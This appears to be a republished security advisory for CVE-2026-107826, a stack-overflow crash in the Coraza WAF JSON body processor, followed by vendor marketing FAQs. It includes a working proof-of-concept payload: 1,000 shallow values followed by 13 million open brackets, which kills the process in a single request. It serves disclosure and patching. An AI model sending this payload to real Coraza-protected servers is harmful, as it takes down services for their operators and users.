Summary
Coraza JSON body processor: argument-limit truncation reopens an unbounded-depth gjson.Valid stack overflow (process crash)
The JSON body processor (internal/bodyprocessors/json.go) can be made to
crash the whole process with an unrecoverable fatal error: stack overflow,
using a request body that is well under the recommended SecRequestBodyLimit
and the default SecArgumentsLimit.
Root cause
readJSON (json.go:113-143) runs a bounded, best-effort flattening walk
(readItems) and afterwards calls gjson.Valid(s) on the raw body ifreadItems returned no error:
json := gjson.Parse(s)
...
truncated, err = readItems(json, key, maxRecursion, argumentLimit, byteBudget, &usedBytes, &argCount, res)
if err != nil {
return res, truncated, err
}
if !gjson.Valid(s) {
return res, truncated, errors.New("invalid JSON")
}
gjson.Valid (gjson v1.18.0, validany -> validarray/validobject) recurses
once per nesting level with no depth bound. readItems does have a depth
bound (maxRecursion), enforced here (json.go:163-182):
func readItems(json gjson.Result, objKey []byte, maxRecursion int, argumentLimit int, byteBudget int, usedBytes *int, argCount *int, res map[string][]string) (truncated bool, err error) {
if byteBudget > 0 && *usedBytes >= byteBudget {
return true, nil // <-- checked first
}
if argumentLimit > 0 && *argCount >= argumentLimit {
return true, nil // <-- checked second
}
...
if maxRecursion <= 0 {
return false, errors.New("max recursion reached while reading json object")
}
The byte-budget and argument-limit checks run before the recursion-depth
check, and they short-circuit the walk with truncated=true, err=nil instead
of recursing further. If the configured SecArgumentsLimit
(ArgumentLimit, default 1000, internal/corazawaf/waf.go:359) is reached by
earlier, shallow values in the document, readItems stops walking before it
ever reaches a deeply nested tail later in the same document, so themaxRecursion error is never produced, err comes back nil, and readJSON
falls through to the unconditional gjson.Valid(s) call on the complete raw
body, including the part readItems never visited.
This is not a new interaction with the recursion limit itself: at v3.7.0,gjson.Valid ran unconditionally before any recursion check at all, so a
plain deeply-nested body crashed the process directly. A later fix added a
depth check that returns an error before Valid runs for the straightforward
case (nesting reached before any other guard fires). The argument-limit /
byte-budget guards added since then (GHSA-6r3q-mjv7-xr8m,
GHSA-3ww9-vw83-9w5x) reopened the same crash for the case above, because they
short-circuit the walk (and therefore the recursion counter) ahead of the
depth check, on both the request and response body path (ProcessResponse
calls the same readJSON, json.go:57-88).
Because this is fatal error: stack overflow, not a panic, it is not
recoverable by any recover() in the calling goroutine, the process
terminates unconditionally.
PoC
package bodyprocessors
import (
"strings"
"testing"
)
func TestStackOverflowRepro(t *testing.T) {
body := "[" + strings.Repeat("1,", 1000) + strings.Repeat("[", 13_000_000)
// 13,002,001 bytes total: under the recommended SecRequestBodyLimit
// (13107200, coraza.conf-recommended:78) and default ArgumentLimit (1000,
// internal/corazawaf/waf.go:359).
_, _, _ = readJSON(body, 20, 1000)
}
$ go test -run TestStackOverflowRepro ./internal/bodyprocessors/ -v
runtime: goroutine stack exceeds 1000000000-byte limit
fatal error: stack overflow
...
github.com/tidwall/gjson.validarray(...)
.../[email protected]/gjson.go:2584
github.com/tidwall/gjson.validany(...)
.../[email protected]/gjson.go:2499
github.com/tidwall/gjson.validarray(...)
.../[email protected]/gjson.go:2589
... (repeats until the goroutine stack limit is hit)
Reproduced against commit 19b86824 (tag v3.8.0), both by callingreadJSON directly and end-to-end through the recommendedcoraza.conf-recommended configuration (JSON Content-Type, defaultSecArgumentsLimit, recommended SecRequestBodyLimit).
AI involvement disclosure
- AI tools/models used: Claude Sonnet 5 (Anthropic), via Claude Code.
- What was generated/assisted: the initial vulnerability hypothesis and
repro shape were supplied by the reporter as an existing written finding;
Claude Sonnet 5 independently re-derived the root cause by reading the
current source, wrote and ran a fresh PoC test against commit19b86824
(tagv3.8.0), confirmed the crash and stack trace shown above, verified
the default configuration values cited (ArgumentLimitdefault,SecRequestBodyLimitrecommended value) against the current source, and
drafted this advisory text. - Review performed: reproduced by hand by running the PoC test above with
go test -run TestStackOverflowRepro ./internal/bodyprocessors/ -vagainst
a clean checkout of commit19b86824; observed thefatal error: stack overflowand stack trace throughgjson.validarray/validany; tracedreadJSON/readItemsline by line to confirm the guard ordering described
above; the PoC was reviewed by a human maintainer (fzipi) before
submission of this advisory.
Impact
An unauthenticated attacker who can send an HTTP request body (any endpoint
protected by Coraza with the JSON body processor enabled, which is the
default for application/json) can crash the entire host process with a
single request, using a payload well within default and recommended body
size and argument-count limits. There is no privilege or interaction
requirement, and the crash cannot be caught or mitigated by the integrator
(no recover() stops a stack-overflow fatal error). This is strictly worse
than a CPU-exhaustion or slow-request DoS: the process must be restarted, and
every in-flight request/transaction on that process is lost.
CVE-2026-107826 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (3.8.1); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Run an iterative, explicitly-bounded-depth pre-scan (or reuse readItems's
own recursion accounting) before calling gjson.Valid, and never callgjson.Valid on input whose nesting exceeds maxRecursion. The response
path (ProcessResponse) needs the same treatment since it shares readJSON.
Frequently Asked Questions
- What is CVE-2026-107826? CVE-2026-107826 is a high-severity security vulnerability in github.com/corazawaf/coraza/v3 (go), affecting versions >= 3.0.0, < 3.8.1. It is fixed in 3.8.1.
- How severe is CVE-2026-107826? CVE-2026-107826 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of github.com/corazawaf/coraza/v3 are affected by CVE-2026-107826? github.com/corazawaf/coraza/v3 (go) versions >= 3.0.0, < 3.8.1 is affected.
- Is there a fix for CVE-2026-107826? Yes. CVE-2026-107826 is fixed in 3.8.1. Upgrade to this version or later.
- Is CVE-2026-107826 exploitable, and should I be worried? Whether CVE-2026-107826 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-107826 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-107826? Upgrade
github.com/corazawaf/coraza/v3to 3.8.1 or later.